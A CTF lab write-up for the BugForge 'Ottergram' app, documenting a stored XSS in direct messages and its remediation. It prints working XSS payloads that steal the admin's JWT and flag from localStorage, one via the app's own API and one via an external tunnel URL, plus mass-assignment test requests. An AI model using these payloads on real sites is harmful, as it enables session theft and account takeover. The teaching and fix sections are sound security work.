Security Labs

CTF and security lab write-ups

← Back

BugForge - Ottergram Lab Writeup

Date: 2026-03-27 Difficulty: Easy Platform: BugForge

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. Stored XSS via Direct Message content β€” unsanitized HTML rendered with dangerouslySetInnerHTML (CWE-79)
  2. Sensitive data in localStorage accessible to XSS (CWE-922)
  3. Wildcard CORS configuration (CWE-942)

Business Impact: Any authenticated user can execute arbitrary JavaScript in any other user’s browser via DM, enabling full account takeover, session hijacking, and data exfiltration.


Objective

Find the flag hidden within the Ottergram application β€” an Instagram-like social media platform for otter enthusiasts.

Initial Access

# Target Application
URL: https://lab-1774652179703-chxke1.labs-app.bugforge.io

# Credentials
Registered users: haxor / haxor2 / haxor3
Auth: JWT (HS256) via POST /api/register, stored in localStorage
JWT payload: {id, username, iat} β€” no role claim, role is DB-driven

Key Findings

Critical & High-Risk Vulnerabilities

  1. Stored XSS via Direct Message content (CWE-79: Improper Neutralization of Input During Web Page Generation) β€” The POST /api/messages content field accepts arbitrary HTML. The React frontend renders inbox messages using dangerouslySetInnerHTML: {__html: e.content} with zero sanitization on either the server (storage) or client (rendering) side.

CVSS v3.1 Score for Stored XSS: 9.6 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction Required
Scope Changed
Confidentiality High
Integrity High
Availability High

Enumeration Summary

Application Analysis

Target Endpoints Discovered:

Endpoint Method Auth Notes
/api/register POST No Field-filtered (role not accepted)
/api/verify-token GET Bearer Returns full user obj with role
/api/profile/:username GET Bearer Public profile
/api/profile PUT Bearer {full_name, bio} β€” field-filtered
/api/posts GET/POST Bearer Feed + create (multipart w/ image)
/api/messages POST Bearer {recipient_id, content} β€” NO SANITIZE
/api/messages/inbox GET Bearer DMs β€” renders with dangerouslySetInnerHTML
/api/admin GET Bearer Admin panel β€” server-side role check
/api/admin/users GET Bearer Has ?search= param
/api/admin/posts GET Bearer Has ?search= param

Tech Stack: React SPA frontend, Express.js backend, JWT (HS256) auth, Socket.IO real-time notifications, wildcard CORS.

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Register user   │────▢│ Obtain valid JWT │────▢│  Discover flag in   β”‚
β”‚ POST /api/      β”‚     β”‚ from response    β”‚     β”‚  JS bundle:         β”‚
β”‚ register        β”‚     β”‚                  β”‚     β”‚  localStorage.flag  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                            β”‚
                                                            β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ DM to admin     │────▢│ Admin opens      │────▢│  dangerouslySet     β”‚
β”‚ (id=2) with     β”‚     β”‚ inbox via        β”‚     β”‚  InnerHTML renders  β”‚
β”‚ XSS in content  β”‚     β”‚ Socket.IO notify β”‚     β”‚  payload as HTML    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                            β”‚
                                                            β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Read flag from  │◀────│ Admin's browser  │◀────│  JS reads           β”‚
β”‚ attacker inbox  β”‚     β”‚ POSTs flag back  β”‚     β”‚  localStorage.flag  β”‚
β”‚ (sent by admin) β”‚     β”‚ as DM to attackerβ”‚     β”‚  + localStorage.    β”‚
β”‚                 β”‚     β”‚ using admin's JWTβ”‚     β”‚  token              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. Register user and obtain valid JWT
  2. Analyze JS bundle β€” discover dangerouslySetInnerHTML sink and flag in localStorage("flag")
  3. Confirm external exfil seems to be blocked (sandboxed lab environment?)
  4. Craft self-contained XSS payload that reads admin’s localStorage and POSTs flag back via the app’s own messaging API
  5. Send payload as DM to admin (id=2)
  6. Admin bot receives Socket.IO notification, opens inbox, payload executes
  7. Retrieve flag from attacker’s inbox (sent by admin’s browser)

Exploitation Path

Step 1: Reconnaissance β€” Map the API Surface and Identify Sinks

Intercepted HTTP traffic via Caido and extracted routes from the React JS bundle (/static/js/main.dd5901b1.js). Key discoveries:

  1. DM rendering sink: Inbox component uses dangerouslySetInnerHTML: {__html: e.content} to render message content β€” a classic XSS sink.
  2. Flag location: JS bundle contains if(s&&"admin"===s.role){const e=localStorage.getItem("flag");...} β€” the flag is stored in the admin user’s localStorage("flag").
  3. Admin bot behavior: Socket.IO new-message events trigger the admin to open their inbox, meaning any DM to admin will be rendered.
Key endpoints mapped:
  POST /api/messages       β€” send DM {recipient_id, content}
  GET  /api/messages/inbox β€” view received messages
  GET  /api/verify-token   β€” returns user object with role
  GET  /api/admin/*        β€” admin panel (server-side role check)

Step 2: Eliminate Dead Ends β€” Mass Assignment and External Exfil

Before testing XSS, checked if there was a simpler path to admin:

This confirmed: no shortcut to admin, and data exfiltration needs to use the app’s own API endpoints.

Step 3: Craft Self-Contained XSS Payload

Since external exfil didn’t work, the payload needed to:

  1. Read localStorage("flag") and localStorage("token") from the admin’s browser
  2. Use the admin’s own JWT to POST the flag back to the attacker as a DM via /api/messages
<img src=x onerror="var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})">

How it works:

Step 4: Deliver Payload and Retrieve Flag

Sent the XSS payload as a DM to admin (user id=2):

POST /api/messages HTTP/1.1
Authorization: Bearer <attacker_jwt>
Content-Type: application/json

{"recipient_id":2,"content":"<img src=x onerror=\"var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})\">"}

The admin bot received the Socket.IO new-message notification, opened its inbox, and dangerouslySetInnerHTML rendered the payload. The admin’s browser executed the JavaScript, read the flag from localStorage, and POSTed it back as a DM.

Checked attacker’s inbox β€” message from admin (sender_id=2) containing the flag:

{"id":14,"sender_id":2,"recipient_id":5,"content":"bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}","is_read":0,"created_at":"2026-03-27 23:19:26","sender_username":"admin"}

Flag / Objective Achieved

βœ… Flag captured: bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}

Exfiltrated from admin’s localStorage("flag") via stored XSS in the DM system.


Key Learnings


Tools Used


Remediation

1. Stored XSS via Direct Messages β€” Missing Input Sanitization (CVSS: 9.6 - Critical)

Issue: The DM content field is stored as-is (no sanitization) and rendered using dangerouslySetInnerHTML (no escaping). Any authenticated user can execute arbitrary JavaScript in any other user’s browser by sending a crafted message.

CWE Reference: CWE-79 β€” Improper Neutralization of Input During Web Page Generation (β€˜Cross-site Scripting’)

Fix (Server-side β€” sanitize before storage):

// BEFORE (Vulnerable)
app.post('/api/messages', auth, async (req, res) => {
  const { recipient_id, content } = req.body;
  await db.run(
    'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
    [req.user.id, recipient_id, content]
  );
});

// AFTER (Secure β€” strip all HTML tags)
const sanitizeHtml = require('sanitize-html');

app.post('/api/messages', auth, async (req, res) => {
  const { recipient_id, content } = req.body;
  const cleanContent = sanitizeHtml(content, { allowedTags: [], allowedAttributes: {} });
  await db.run(
    'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
    [req.user.id, recipient_id, cleanContent]
  );
});

Fix (Client-side β€” stop using dangerouslySetInnerHTML):

// BEFORE (Vulnerable)
<div dangerouslySetInnerHTML={{__html: message.content}} />

// AFTER (Secure β€” React auto-escapes text content)
<div>{message.content}</div>

2. Sensitive Data in localStorage (CVSS: 4.3 - Medium)

Issue: The admin’s flag and JWT are stored in localStorage, which is accessible to any JavaScript running on the page. Combined with XSS, this enables immediate exfiltration.

CWE Reference: CWE-922 β€” Insecure Storage of Sensitive Information

Fix:

3. Wildcard CORS Configuration (CVSS: 5.3 - Medium)

Issue: Access-Control-Allow-Origin: * allows any origin to make authenticated cross-origin requests.

CWE Reference: CWE-942 β€” Permissive Cross-domain Policy with Untrusted Domains

Fix:

// BEFORE (Vulnerable)
app.use(cors());  // defaults to Access-Control-Allow-Origin: *

// AFTER (Secure)
app.use(cors({
  origin: 'https://your-app-domain.com',
  credentials: true
}));

Failed Attempts

Approach 1: Mass Assignment on Registration

POST /api/register
{"username":"haxor","email":"h@x.com","password":"pass","full_name":"Haxor","role":"admin"}

Result: Failed β€” server filters extra fields, returned role: "user"

Approach 2: Mass Assignment on Profile Update

PUT /api/profile
{"full_name":"Haxor","bio":"test","role":"admin"}

Result: Failed β€” returned 200 OK but /api/verify-token still showed role: "user" (field silently ignored)

Approach 3: External Exfiltration via CloudFlare Tunnel

<img src=x onerror="fetch('https://external-tunnel.trycloudflare.com/exfil?d='+localStorage.getItem('flag'))">

Result: Failed β€” payload executed but no callback received. Lab bot cannot reach external URLs (sandboxed environment).


OWASP Top 10 Coverage


References

XSS Resources:


Tags: #xss #stored-xss #dangerouslysetinnerhtml #localstorage-exfil #react #bugforge #dm-injection